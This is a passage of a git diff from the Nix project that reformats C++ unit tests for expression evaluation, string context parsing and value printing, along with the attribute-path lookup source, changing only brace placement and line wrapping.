} +TEST_F(TrivialExpressionTest, functor) +{ + auto v = eval("{ __functor = self: arg: self.v + arg; v = 10; } 5"); + ASSERT_THAT(v, IsIntEq(15)); +} - TEST_F(TrivialExpressionTest, forwardPipe) { - auto v = eval("1 |> builtins.add 2 |> builtins.mul 3"); - ASSERT_THAT(v, IsIntEq(9)); - } +TEST_F(TrivialExpressionTest, forwardPipe) +{ + auto v = eval("1 |> builtins.add 2 |> builtins.mul 3"); + ASSERT_THAT(v, IsIntEq(9)); +} - TEST_F(TrivialExpressionTest, backwardPipe) { - auto v = eval("builtins.add 1 <| builtins.mul 2 <| 3"); - ASSERT_THAT(v, IsIntEq(7)); - } +TEST_F(TrivialExpressionTest, backwardPipe) +{ + auto v = eval("builtins.add 1 <| builtins.mul 2 <| 3"); + ASSERT_THAT(v, IsIntEq(7)); +} - TEST_F(TrivialExpressionTest, forwardPipeEvaluationOrder) { - auto v = eval("1 |> null |> (x: 2)"); - ASSERT_THAT(v, IsIntEq(2)); - } +TEST_F(TrivialExpressionTest, forwardPipeEvaluationOrder) +{ + auto v = eval("1 |> null |> (x: 2)"); + ASSERT_THAT(v, IsIntEq(2)); +} - TEST_F(TrivialExpressionTest, backwardPipeEvaluationOrder) { - auto v = eval("(x: 1) <| null <| 2"); - ASSERT_THAT(v, IsIntEq(1)); - } +TEST_F(TrivialExpressionTest, backwardPipeEvaluationOrder) +{ + auto v = eval("(x: 1) <| null <| 2"); + ASSERT_THAT(v, IsIntEq(1)); +} - TEST_F(TrivialExpressionTest, differentPipeOperatorsDoNotAssociate) { - ASSERT_THROW(eval("(x: 1) <| 2 |> (x: 3)"), ParseError); - } +TEST_F(TrivialExpressionTest, differentPipeOperatorsDoNotAssociate) +{ + ASSERT_THROW(eval("(x: 1) <| 2 |> (x: 3)"), ParseError); +} - TEST_F(TrivialExpressionTest, differentPipeOperatorsParensLeft) { - auto v = eval("((x: 1) <| 2) |> (x: 3)"); - ASSERT_THAT(v, IsIntEq(3)); - } +TEST_F(TrivialExpressionTest, differentPipeOperatorsParensLeft) +{ + auto v = eval("((x: 1) <| 2) |> (x: 3)"); + ASSERT_THAT(v, IsIntEq(3)); +} - TEST_F(TrivialExpressionTest, differentPipeOperatorsParensRight) { - auto v = eval("(x: 1) <| (2 |> (x: 3))"); - ASSERT_THAT(v, IsIntEq(1)); - } +TEST_F(TrivialExpressionTest, differentPipeOperatorsParensRight) +{ + auto v = eval("(x: 1) <| (2 |> (x: 3))"); + ASSERT_THAT(v, IsIntEq(1)); +} - TEST_F(TrivialExpressionTest, forwardPipeLowestPrecedence) { - auto v = eval("false -> true |> (x: !x)"); - ASSERT_THAT(v, IsFalse()); - } +TEST_F(TrivialExpressionTest, forwardPipeLowestPrecedence) +{ + auto v = eval("false -> true |> (x: !x)"); + ASSERT_THAT(v, IsFalse()); +} - TEST_F(TrivialExpressionTest, backwardPipeLowestPrecedence) { - auto v = eval("(x: !x) <| false -> true"); - ASSERT_THAT(v, IsFalse()); - } +TEST_F(TrivialExpressionTest, backwardPipeLowestPrecedence) +{ + auto v = eval("(x: !x) <| false -> true"); + ASSERT_THAT(v, IsFalse()); +} - TEST_F(TrivialExpressionTest, forwardPipeStrongerThanElse) { - auto v = eval("if true then 1 else 2 |> 3"); - ASSERT_THAT(v, IsIntEq(1)); - } +TEST_F(TrivialExpressionTest, forwardPipeStrongerThanElse) +{ + auto v = eval("if true then 1 else 2 |> 3"); + ASSERT_THAT(v, IsIntEq(1)); +} - TEST_F(TrivialExpressionTest, backwardPipeStrongerThanElse) { - auto v = eval("if true then 1 else 2 <| 3"); - ASSERT_THAT(v, IsIntEq(1)); - } +TEST_F(TrivialExpressionTest, backwardPipeStrongerThanElse) +{ + auto v = eval("if true then 1 else 2 <| 3"); + ASSERT_THAT(v, IsIntEq(1)); +} - TEST_F(TrivialExpressionTest, bindOr) { - auto v = eval("{ or = 1; }"); - ASSERT_THAT(v, IsAttrsOfSize(1)); - auto b = v.attrs()->find(createSymbol("or")); - ASSERT_NE(b, nullptr); - ASSERT_THAT(*b->value, IsIntEq(1)); - } +TEST_F(TrivialExpressionTest, bindOr) +{ + auto v = eval("{ or = 1; }"); + ASSERT_THAT(v, IsAttrsOfSize(1)); + auto b = v.attrs()->find(createSymbol("or")); + ASSERT_NE(b, nullptr); + ASSERT_THAT(*b->value, IsIntEq(1)); +} - TEST_F(TrivialExpressionTest, orCantBeUsed) { - ASSERT_THROW(eval("let or = 1; in or"), Error); - } +TEST_F(TrivialExpressionTest, orCantBeUsed) +{ + ASSERT_THROW(eval("let or = 1; in or"), Error); +} } /* namespace nix */ diff --git a/src/libexpr-tests/value/context.cc b/src/libexpr-tests/value/context.cc index 97cd50f75..eb801f6a5 100644 --- a/src/libexpr-tests/value/context.cc +++ b/src/libexpr-tests/value/context.cc @@ -10,46 +10,42 @@ namespace nix { // Test a few cases of invalid string context elements. -TEST(NixStringContextElemTest, empty_invalid) { - EXPECT_THROW( - NixStringContextElem::parse(""), - BadNixStringContextElem); +TEST(NixStringContextElemTest, empty_invalid) +{ + EXPECT_THROW(NixStringContextElem::parse(""), BadNixStringContextElem); } -TEST(NixStringContextElemTest, single_bang_invalid) { - EXPECT_THROW( - NixStringContextElem::parse("!"), - BadNixStringContextElem); +TEST(NixStringContextElemTest, single_bang_invalid) +{ + EXPECT_THROW(NixStringContextElem::parse("!"), BadNixStringContextElem); } -TEST(NixStringContextElemTest, double_bang_invalid) { - EXPECT_THROW( - NixStringContextElem::parse("!!/"), - BadStorePath); +TEST(NixStringContextElemTest, double_bang_invalid) +{ + EXPECT_THROW(NixStringContextElem::parse("!!/"), BadStorePath); } -TEST(NixStringContextElemTest, eq_slash_invalid) { - EXPECT_THROW( - NixStringContextElem::parse("=/"), - BadStorePath); +TEST(NixStringContextElemTest, eq_slash_invalid) +{ + EXPECT_THROW(NixStringContextElem::parse("=/"), BadStorePath); } -TEST(NixStringContextElemTest, slash_invalid) { - EXPECT_THROW( - NixStringContextElem::parse("/"), - BadStorePath); +TEST(NixStringContextElemTest, slash_invalid) +{ + EXPECT_THROW(NixStringContextElem::parse("/"), BadStorePath); } /** * Round trip (string <-> data structure) test for * `NixStringContextElem::Opaque`. */ -TEST(NixStringContextElemTest, opaque) { +TEST(NixStringContextElemTest, opaque) +{ std::string_view opaque = "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x"; auto elem = NixStringContextElem::parse(opaque); auto * p = std::get_if(&elem.raw); ASSERT_TRUE(p); - ASSERT_EQ(p->path, StorePath { opaque }); + ASSERT_EQ(p->path, StorePath{opaque}); ASSERT_EQ(elem.to_string(), opaque); } @@ -57,12 +53,13 @@ TEST(NixStringContextElemTest, opaque) { * Round trip (string <-> data structure) test for * `NixStringContextElem::DrvDeep`. */ -TEST(NixStringContextElemTest, drvDeep) { +TEST(NixStringContextElemTest, drvDeep) +{ std::string_view drvDeep = "=g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv"; auto elem = NixStringContextElem::parse(drvDeep); auto * p = std::get_if(&elem.raw); ASSERT_TRUE(p); - ASSERT_EQ(p->drvPath, StorePath { drvDeep.substr(1) }); + ASSERT_EQ(p->drvPath, StorePath{drvDeep.substr(1)}); ASSERT_EQ(elem.to_string(), drvDeep); } @@ -70,15 +67,18 @@ TEST(NixStringContextElemTest, drvDeep) { * Round trip (string <-> data structure) test for a simpler * `NixStringContextElem::Built`. */ -TEST(NixStringContextElemTest, built_opaque) { +TEST(NixStringContextElemTest, built_opaque) +{ std::string_view built = "!foo!g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv"; auto elem = NixStringContextElem::parse(built); auto * p = std::get_if(&elem.raw); ASSERT_TRUE(p); ASSERT_EQ(p->output, "foo"); - ASSERT_EQ(*p->drvPath, ((SingleDerivedPath) SingleDerivedPath::Opaque { - .path = StorePath { built.substr(5) }, - })); + ASSERT_EQ( + *p->drvPath, + ((SingleDerivedPath) SingleDerivedPath::Opaque{ + .path = StorePath{built.substr(5)}, + })); ASSERT_EQ(elem.to_string(), built); } @@ -86,7 +86,8 @@ TEST(NixStringContextElemTest, built_opaque) { * Round trip (string <-> data structure) test for a more complex, * inductive `NixStringContextElem::Built`. */ -TEST(NixStringContextElemTest, built_built) { +TEST(NixStringContextElemTest, built_built) +{ /** * We set these in tests rather than the regular globals so we don't have * to worry about race conditions if the tests run concurrently. @@ -102,9 +103,11 @@ TEST(NixStringContextElemTest, built_built) { auto * drvPath = std::get_if(&*p->drvPath); ASSERT_TRUE(drvPath); ASSERT_EQ(drvPath->output, "bar"); - ASSERT_EQ(*drvPath->drvPath, ((SingleDerivedPath) SingleDerivedPath::Opaque { - .path = StorePath { built.substr(9) }, - })); + ASSERT_EQ( + *drvPath->drvPath, + ((SingleDerivedPath) SingleDerivedPath::Opaque{ + .path = StorePath{built.substr(9)}, + })); ASSERT_EQ(elem.to_string(), built); } @@ -112,17 +115,15 @@ TEST(NixStringContextElemTest, built_built) { * Without the right experimental features enabled, we cannot parse a * complex inductive string context element. */ -TEST(NixStringContextElemTest, built_built_xp) { +TEST(NixStringContextElemTest, built_built_xp) +{ ASSERT_THROW( - NixStringContextElem::parse("!foo!bar!g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv"), MissingExperimentalFeature); + NixStringContextElem::parse("!foo!bar!g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-x.drv"), MissingExperimentalFeature); } #ifndef COVERAGE -RC_GTEST_PROP( - NixStringContextElemTest, - prop_round_rip, - (const NixStringContextElem & o)) +RC_GTEST_PROP(NixStringContextElemTest, prop_round_rip, (const NixStringContextElem & o)) { ExperimentalFeatureSettings xpSettings; xpSettings.set("experimental-features", "dynamic-derivations"); diff --git a/src/libexpr-tests/value/print.cc b/src/libexpr-tests/value/print.cc index d337a29a3..420280da8 100644 --- a/src/libexpr-tests/value/print.cc +++ b/src/libexpr-tests/value/print.cc @@ -106,14 +106,11 @@ TEST_F(ValuePrintingTests, vApp) TEST_F(ValuePrintingTests, vLambda) { - Env env { - .up = nullptr, - .values = { } - }; + Env env{.up = nullptr, .values = {}}; PosTable::Origin origin = state.positions.addOrigin(std::monostate(), 1); auto posIdx = state.positions.add(origin, 0); auto body = ExprInt(0); - auto formals = Formals {}; + auto formals = Formals{}; ExprLambda eLambda(posIdx, createSymbol("a"), &formals, &body); @@ -130,9 +127,7 @@ TEST_F(ValuePrintingTests, vLambda) TEST_F(ValuePrintingTests, vPrimOp) { Value vPrimOp; - PrimOp primOp{ - .name = "puppy" - }; + PrimOp primOp{.name = "puppy"}; vPrimOp.mkPrimOp(&primOp); test(vPrimOp, "«primop puppy»"); @@ -140,9 +135,7 @@ TEST_F(ValuePrintingTests, vPrimOp) TEST_F(ValuePrintingTests, vPrimOpApp) { - PrimOp primOp{ - .name = "puppy" - }; + PrimOp primOp{.name = "puppy"}; Value vPrimOp; vPrimOp.mkPrimOp(&primOp); @@ -220,10 +213,13 @@ TEST_F(ValuePrintingTests, depthAttrs) Value vNested; vNested.mkAttrs(builder2.finish()); - test(vNested, "{ nested = { ... }; one = 1; two = 2; }", PrintOptions { .maxDepth = 1 }); - test(vNested, "{ nested = { nested = { ... }; one = 1; two = 2; }; one = 1; two = 2; }", PrintOptions { .maxDepth = 2 }); - test(vNested, "{ nested = { nested = { }; one = 1; two = 2; }; one = 1; two = 2; }", PrintOptions { .maxDepth = 3 }); - test(vNested, "{ nested = { nested = { }; one = 1; two = 2; }; one = 1; two = 2; }", PrintOptions { .maxDepth = 4 }); + test(vNested, "{ nested = { ... }; one = 1; two = 2; }", PrintOptions{.maxDepth = 1}); + test( + vNested, + "{ nested = { nested = { ... }; one = 1; two = 2; }; one = 1; two = 2; }", + PrintOptions{.maxDepth = 2}); + test(vNested, "{ nested = { nested = { }; one = 1; two = 2; }; one = 1; two = 2; }", PrintOptions{.maxDepth = 3}); + test(vNested, "{ nested = { nested = { }; one = 1; two = 2; }; one = 1; two = 2; }", PrintOptions{.maxDepth = 4}); } TEST_F(ValuePrintingTests, depthList) @@ -256,11 +252,11 @@ TEST_F(ValuePrintingTests, depthList) Value vList; vList.mkList(list); - test(vList, "[ 1 2 { ... } ]", PrintOptions { .maxDepth = 1 }); - test(vList, "[ 1 2 { nested = { ... }; one = 1; two = 2; } ]", PrintOptions { .maxDepth = 2 }); - test(vList, "[ 1 2 { nested = { one = 1; two = 2; }; one = 1; two = 2; } ]", PrintOptions { .maxDepth = 3 }); - test(vList, "[ 1 2 { nested = { one = 1; two = 2; }; one = 1; two = 2; } ]", PrintOptions { .maxDepth = 4 }); - test(vList, "[ 1 2 { nested = { one = 1; two = 2; }; one = 1; two = 2; } ]", PrintOptions { .maxDepth = 5 }); + test(vList, "[ 1 2 { ... } ]", PrintOptions{.maxDepth = 1}); + test(vList, "[ 1 2 { nested = { ... }; one = 1; two = 2; } ]", PrintOptions{.maxDepth = 2}); + test(vList, "[ 1 2 { nested = { one = 1; two = 2; }; one = 1; two = 2; } ]", PrintOptions{.maxDepth = 3}); + test(vList, "[ 1 2 { nested = { one = 1; two = 2; }; one = 1; two = 2; } ]", PrintOptions{.maxDepth = 4}); + test(vList, "[ 1 2 { nested = { one = 1; two = 2; }; one = 1; two = 2; } ]", PrintOptions{.maxDepth = 5}); } struct StringPrintingTests : LibExprTest @@ -272,9 +268,7 @@ struct StringPrintingTests : LibExprTest v.mkString(literal); std::stringstream out; - printValue(state, out, v, PrintOptions { - .maxStringLength = maxLength - }); + printValue(state, out, v, PrintOptions{.maxStringLength = maxLength}); ASSERT_EQ(out.str(), expected); } }; @@ -305,15 +299,9 @@ TEST_F(ValuePrintingTests, attrsTypeFirst) Value vAttrs; vAttrs.mkAttrs(builder.finish()); - test(vAttrs, - "{ type = \"puppy\"; apple = \"apple\"; }", - PrintOptions { - .maxAttrs = 100 - }); + test(vAttrs, "{ type = \"puppy\"; apple = \"apple\"; }", PrintOptions{.maxAttrs = 100}); - test(vAttrs, - "{ apple = \"apple\"; type = \"puppy\"; }", - PrintOptions { }); + test(vAttrs, "{ apple = \"apple\"; type = \"puppy\"; }", PrintOptions{}); } TEST_F(ValuePrintingTests, ansiColorsInt) @@ -321,11 +309,7 @@ TEST_F(ValuePrintingTests, ansiColorsInt) Value v; v.mkInt(10); - test(v, - ANSI_CYAN "10" ANSI_NORMAL, - PrintOptions { - .ansiColors = true - }); + test(v, ANSI_CYAN "10" ANSI_NORMAL, PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsFloat) @@ -333,11 +317,7 @@ TEST_F(ValuePrintingTests, ansiColorsFloat) Value v; v.mkFloat(1.6); - test(v, - ANSI_CYAN "1.6" ANSI_NORMAL, - PrintOptions { - .ansiColors = true - }); + test(v, ANSI_CYAN "1.6" ANSI_NORMAL, PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsBool) @@ -345,11 +325,7 @@ TEST_F(ValuePrintingTests, ansiColorsBool) Value v; v.mkBool(true); - test(v, - ANSI_CYAN "true" ANSI_NORMAL, - PrintOptions { - .ansiColors = true - }); + test(v, ANSI_CYAN "true" ANSI_NORMAL, PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsString) @@ -357,11 +333,7 @@ TEST_F(ValuePrintingTests, ansiColorsString) Value v; v.mkString("puppy"); - test(v, - ANSI_MAGENTA "\"puppy\"" ANSI_NORMAL, - PrintOptions { - .ansiColors = true - }); + test(v, ANSI_MAGENTA "\"puppy\"" ANSI_NORMAL, PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsStringElided) @@ -369,12 +341,10 @@ TEST_F(ValuePrintingTests, ansiColorsStringElided) Value v; v.mkString("puppy"); - test(v, - ANSI_MAGENTA "\"pup\" " ANSI_FAINT "«2 bytes elided»" ANSI_NORMAL, - PrintOptions { - .ansiColors = true, - .maxStringLength = 3 - }); + test( + v, + ANSI_MAGENTA "\"pup\" " ANSI_FAINT "«2 bytes elided»" ANSI_NORMAL, + PrintOptions{.ansiColors = true, .maxStringLength = 3}); } TEST_F(ValuePrintingTests, ansiColorsPath) @@ -382,11 +352,7 @@ TEST_F(ValuePrintingTests, ansiColorsPath) Value v; v.mkPath(state.rootPath(CanonPath("puppy"))); - test(v, - ANSI_GREEN "/puppy" ANSI_NORMAL, - PrintOptions { - .ansiColors = true - }); + test(v, ANSI_GREEN "/puppy" ANSI_NORMAL, PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsNull) @@ -394,11 +360,7 @@ TEST_F(ValuePrintingTests, ansiColorsNull) Value v; v.mkNull(); - test(v, - ANSI_CYAN "null" ANSI_NORMAL, - PrintOptions { - .ansiColors = true - }); + test(v, ANSI_CYAN "null" ANSI_NORMAL, PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsAttrs) @@ -416,11 +378,10 @@ TEST_F(ValuePrintingTests, ansiColorsAttrs) Value vAttrs; vAttrs.mkAttrs(builder.finish()); - test(vAttrs, - "{ one = " ANSI_CYAN "1" ANSI_NORMAL "; two = " ANSI_CYAN "2" ANSI_NORMAL "; }", - PrintOptions { - .ansiColors = true - }); + test( + vAttrs, + "{ one = " ANSI_CYAN "1" ANSI_NORMAL "; two = " ANSI_CYAN "2" ANSI_NORMAL "; }", + PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsDerivation) @@ -434,20 +395,15 @@ TEST_F(ValuePrintingTests, ansiColorsDerivation) Value vAttrs; vAttrs.mkAttrs(builder.finish()); - test(vAttrs, - ANSI_GREEN "«derivation»" ANSI_NORMAL, - PrintOptions { - .ansiColors = true, - .force = true, - .derivationPaths = true - }); + test( + vAttrs, + ANSI_GREEN "«derivation»" ANSI_NORMAL, + PrintOptions{.ansiColors = true, .force = true, .derivationPaths = true}); - test(vAttrs, - "{ type = " ANSI_MAGENTA "\"derivation\"" ANSI_NORMAL "; }", - PrintOptions { - .ansiColors = true, - .force = true - }); + test( + vAttrs, + "{ type = " ANSI_MAGENTA "\"derivation\"" ANSI_NORMAL "; }", + PrintOptions{.ansiColors = true, .force = true}); } TEST_F(ValuePrintingTests, ansiColorsError) @@ -458,14 +414,13 @@ TEST_F(ValuePrintingTests, ansiColorsError) Value vError; vError.mkApp(&throw_, &message); - test(vError, - ANSI_RED - "«error: uh oh!»" - ANSI_NORMAL, - PrintOptions { - .ansiColors = true, - .force = true, - }); + test( + vError, + ANSI_RED "«error: uh oh!»" ANSI_NORMAL, + PrintOptions{ + .ansiColors = true, + .force = true, + }); } TEST_F(ValuePrintingTests, ansiColorsDerivationError) @@ -486,30 +441,20 @@ TEST_F(ValuePrintingTests, ansiColorsDerivationError) Value vAttrs; vAttrs.mkAttrs(builder.finish()); - test(vAttrs, - "{ drvPath = " - ANSI_RED - "«error: uh oh!»" - ANSI_NORMAL - "; type = " - ANSI_MAGENTA - "\"derivation\"" - ANSI_NORMAL - "; }", - PrintOptions { - .ansiColors = true, - .force = true - }); + test( + vAttrs, + "{ drvPath = " ANSI_RED "«error: uh oh!»" ANSI_NORMAL "; type = " ANSI_MAGENTA "\"derivation\"" ANSI_NORMAL + "; }", + PrintOptions{.ansiColors = true, .force = true}); - test(vAttrs, - ANSI_RED - "«error: uh oh!»" - ANSI_NORMAL, - PrintOptions { - .ansiColors = true, - .force = true, - .derivationPaths = true, - }); + test( + vAttrs, + ANSI_RED "«error: uh oh!»" ANSI_NORMAL, + PrintOptions{ + .ansiColors = true, + .force = true, + .derivationPaths = true, + }); } TEST_F(ValuePrintingTests, ansiColorsAssert) @@ -523,12 +468,7 @@ TEST_F(ValuePrintingTests, ansiColorsAssert) Value v; state.mkThunk_(v, &expr); - test(v, - ANSI_RED "«error: assertion 'false' failed»" ANSI_NORMAL, - PrintOptions { - .ansiColors = true, - .force = true - }); + test(v, ANSI_RED "«error: assertion 'false' failed»" ANSI_NORMAL, PrintOptions{.ansiColors = true, .force = true}); } TEST_F(ValuePrintingTests, ansiColorsList) @@ -545,77 +485,51 @@ TEST_F(ValuePrintingTests, ansiColorsList) Value vList; vList.mkList(list); - test(vList, - "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_CYAN "2" ANSI_NORMAL " " ANSI_MAGENTA "«nullptr»" ANSI_NORMAL " ]", - PrintOptions { - .ansiColors = true - }); + test( + vList, + "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_CYAN "2" ANSI_NORMAL " " ANSI_MAGENTA "«nullptr»" ANSI_NORMAL " ]", + PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsLambda) { - Env env { - .up = nullptr, - .values = { } - }; + Env env{.up = nullptr, .values = {}}; PosTable::Origin origin = state.positions.addOrigin(std::monostate(), 1); auto posIdx = state.positions.add(origin, 0); auto body = ExprInt(0); - auto formals = Formals {}; + auto formals = Formals{}; ExprLambda eLambda(posIdx, createSymbol("a"), &formals, &body); Value vLambda; vLambda.mkLambda(&env, &eLambda); - test(vLambda, - ANSI_BLUE "«lambda @ «none»:1:1»" ANSI_NORMAL, - PrintOptions { - .ansiColors = true, - .force = true - }); + test(vLambda, ANSI_BLUE "«lambda @ «none»:1:1»" ANSI_NORMAL, PrintOptions{.ansiColors = true, .force = true}); eLambda.setName(createSymbol("puppy")); - test(vLambda, - ANSI_BLUE "«lambda puppy @ «none»:1:1»" ANSI_NORMAL, - PrintOptions { - .ansiColors = true, - .force = true - }); + test(vLambda, ANSI_BLUE "«lambda puppy @ «none»:1:1»" ANSI_NORMAL, PrintOptions{.ansiColors = true, .force = true}); } TEST_F(ValuePrintingTests, ansiColorsPrimOp) { - PrimOp primOp{ - .name = "puppy" - }; + PrimOp primOp{.name = "puppy"}; Value v; v.mkPrimOp(&primOp); - test(v, - ANSI_BLUE "«primop puppy»" ANSI_NORMAL, - PrintOptions { - .ansiColors = true - }); + test(v, ANSI_BLUE "«primop puppy»" ANSI_NORMAL, PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsPrimOpApp) { - PrimOp primOp{ - .name = "puppy" - }; + PrimOp primOp{.name = "puppy"}; Value vPrimOp; vPrimOp.mkPrimOp(&primOp); Value v; v.mkPrimOpApp(&vPrimOp, nullptr); - test(v, - ANSI_BLUE "«partially applied primop puppy»" ANSI_NORMAL, - PrintOptions { - .ansiColors = true - }); + test(v, ANSI_BLUE "«partially applied primop puppy»" ANSI_NORMAL, PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsThunk) @@ -623,11 +537,7 @@ TEST_F(ValuePrintingTests, ansiColorsThunk) Value v; v.mkThunk(nullptr, nullptr); - test(v, - ANSI_MAGENTA "«thunk»" ANSI_NORMAL, - PrintOptions { - .ansiColors = true - }); + test(v, ANSI_MAGENTA "«thunk»" ANSI_NORMAL, PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsBlackhole) @@ -635,11 +545,7 @@ TEST_F(ValuePrintingTests, ansiColorsBlackhole) Value v; v.mkBlackhole(); - test(v, - ANSI_RED "«potential infinite recursion»" ANSI_NORMAL, - PrintOptions { - .ansiColors = true - }); + test(v, ANSI_RED "«potential infinite recursion»" ANSI_NORMAL, PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsAttrsRepeated) @@ -656,11 +562,7 @@ TEST_F(ValuePrintingTests, ansiColorsAttrsRepeated) Value vAttrs; vAttrs.mkAttrs(builder.finish()); - test(vAttrs, - "{ a = { }; b = " ANSI_MAGENTA "«repeated»" ANSI_NORMAL "; }", - PrintOptions { - .ansiColors = true - }); + test(vAttrs, "{ a = { }; b = " ANSI_MAGENTA "«repeated»" ANSI_NORMAL "; }", PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, ansiColorsListRepeated) @@ -676,11 +578,7 @@ TEST_F(ValuePrintingTests, ansiColorsListRepeated) Value vList; vList.mkList(list); - test(vList, - "[ { } " ANSI_MAGENTA "«repeated»" ANSI_NORMAL " ]", - PrintOptions { - .ansiColors = true - }); + test(vList, "[ { } " ANSI_MAGENTA "«repeated»" ANSI_NORMAL " ]", PrintOptions{.ansiColors = true}); } TEST_F(ValuePrintingTests, listRepeated) @@ -696,12 +594,8 @@ TEST_F(ValuePrintingTests, listRepeated) Value vList; vList.mkList(list); - test(vList, "[ { } «repeated» ]", PrintOptions { }); - test(vList, - "[ { } { } ]", - PrintOptions { - .trackRepeated = false - }); + test(vList, "[ { } «repeated» ]", PrintOptions{}); + test(vList, "[ { } { } ]", PrintOptions{.trackRepeated = false}); } TEST_F(ValuePrintingTests, ansiColorsAttrsElided) @@ -719,12 +613,10 @@ TEST_F(ValuePrintingTests, ansiColorsAttrsElided) Value vAttrs; vAttrs.mkAttrs(builder.finish()); - test(vAttrs, - "{ one = " ANSI_CYAN "1" ANSI_NORMAL "; " ANSI_FAINT "«1 attribute elided»" ANSI_NORMAL " }", - PrintOptions { - .ansiColors = true, - .maxAttrs = 1 - }); + test( + vAttrs, + "{ one = " ANSI_CYAN "1" ANSI_NORMAL "; " ANSI_FAINT "«1 attribute elided»" ANSI_NORMAL " }", + PrintOptions{.ansiColors = true, .maxAttrs = 1}); Value vThree; vThree.mkInt(3); @@ -732,12 +624,10 @@ TEST_F(ValuePrintingTests, ansiColorsAttrsElided) builder.insert(state.symbols.create("three"), &vThree); vAttrs.mkAttrs(builder.finish()); - test(vAttrs, - "{ one = " ANSI_CYAN "1" ANSI_NORMAL "; " ANSI_FAINT "«2 attributes elided»" ANSI_NORMAL " }", - PrintOptions { - .ansiColors = true, - .maxAttrs = 1 - }); + test( + vAttrs, + "{ one = " ANSI_CYAN "1" ANSI_NORMAL "; " ANSI_FAINT "«2 attributes elided»" ANSI_NORMAL " }", + PrintOptions{.ansiColors = true, .maxAttrs = 1}); } TEST_F(ValuePrintingTests, ansiColorsListElided) @@ -751,37 +641,33 @@ TEST_F(ValuePrintingTests, ansiColorsListElided) vTwo.mkInt(2); { - auto list = state.buildList(2); - list.elems[0] = &vOne; - list.elems[1] = &vTwo; - Value vList; - vList.mkList(list); + auto list = state.buildList(2); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; + Value vList; + vList.mkList(list); - test(vList, - "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_FAINT "«1 item elided»" ANSI_NORMAL " ]", - PrintOptions { - .ansiColors = true, - .maxListItems = 1 - }); + test( + vList, + "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_FAINT "«1 item elided»" ANSI_NORMAL " ]", + PrintOptions{.ansiColors = true, .maxListItems = 1}); } Value vThree; vThree.mkInt(3); { - auto list = state.buildList(3); - list.elems[0] = &vOne; - list.elems[1] = &vTwo; - list.elems[2] = &vThree; - Value vList; - vList.mkList(list); + auto list = state.buildList(3); + list.elems[0] = &vOne; + list.elems[1] = &vTwo; + list.elems[2] = &vThree; + Value vList; + vList.mkList(list); - test(vList, - "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_FAINT "«2 items elided»" ANSI_NORMAL " ]", - PrintOptions { - .ansiColors = true, - .maxListItems = 1 - }); + test( + vList, + "[ " ANSI_CYAN "1" ANSI_NORMAL " " ANSI_FAINT "«2 items elided»" ANSI_NORMAL " ]", + PrintOptions{.ansiColors = true, .maxListItems = 1}); } } diff --git a/src/libexpr/attr-path.cc b/src/libexpr/attr-path.cc index cee805d14..83ee1a595 100644 --- a/src/libexpr/attr-path.cc +++ b/src/libexpr/attr-path.cc @@ -1,10 +1,8 @@ #include "nix/expr/attr-path.hh" #include "nix/expr/eval-inline.hh" - namespace nix { - static Strings parseAttrPath(std::string_view s) { Strings res; @@ -19,18 +17,19 @@ static Strings parseAttrPath(std::string_view s) while (1) { if (i == s.end()) throw ParseError("missing closing quote in selection path '%1%'", s); - if (*i == '"') break; + if (*i == '"') + break; cur.push_back(*i++); } } else cur.push_back(*i); ++i; } - if (!cur.empty()) res.push_back(cur); + if (!cur.empty()) + res.push_back(cur); return res; } - std::vector parseAttrPath(EvalState & state, std::string_view s) { std::vector res; @@ -39,9 +38,8 @@ std::vector parseAttrPath(EvalState & state, std::string_view s) return res; } - -std::pair findAlongAttrPath(EvalState & state, const std::string & attrPath, - Bindings & autoArgs, Value & vIn) +std::pair +findAlongAttrPath(EvalState & state, const std::string & attrPath, Bindings & autoArgs, Value & vIn) { Strings tokens = parseAttrPath(attrPath); @@ -65,10 +63,12 @@ std::pair findAlongAttrPath(EvalState & state, const std::strin if (!attrIndex) { if (v->type() != nAttrs) - state.error( - "the expression selected by the selection path '%1%' should be a set but is %2%", - attrPath, - showType(*v)).debugThrow(); + state + .error( + "the expression selected by the selection path '%1%' should be a set but is %2%", + attrPath, + showType(*v)) + .debugThrow(); if (attr.empty()) throw Error("empty attribute name in selection path '%1%'", attrPath); @@ -79,7 +79,8 @@ std::pair findAlongAttrPath(EvalState & state, const std::strin attrNames.insert(std::string(state.symbols[attr.name])); auto suggestions = Suggestions::bestMatches(attrNames, attr); - throw AttrPathNotFound(suggestions, "attribute '%1%' in selection path '%2%' not found", attr, attrPath); + throw AttrPathNotFound( + suggestions, "attribute '%1%' in selection path '%2%' not found", attr, attrPath); } v = &*a->value; pos = a->pos; @@ -88,23 +89,23 @@ std::pair findAlongAttrPath(EvalState & state, const std::strin else { if (!v->isList()) - state.error( - "the expression selected by the selection path '%1%' should be a list but is %2%", - attrPath, - showType(*v)).debugThrow(); + state + .error( + "the expression selected by the selection path '%1%' should be a list but is %2%", + attrPath, + showType(*v)) + .debugThrow(); if (*attrIndex >= v->listSize()) throw AttrPathNotFound("list index %1% in selection path '%2%' is out of range", *attrIndex, attrPath); v = v->listElems()[*attrIndex]; pos = noPos; } - } return {v, 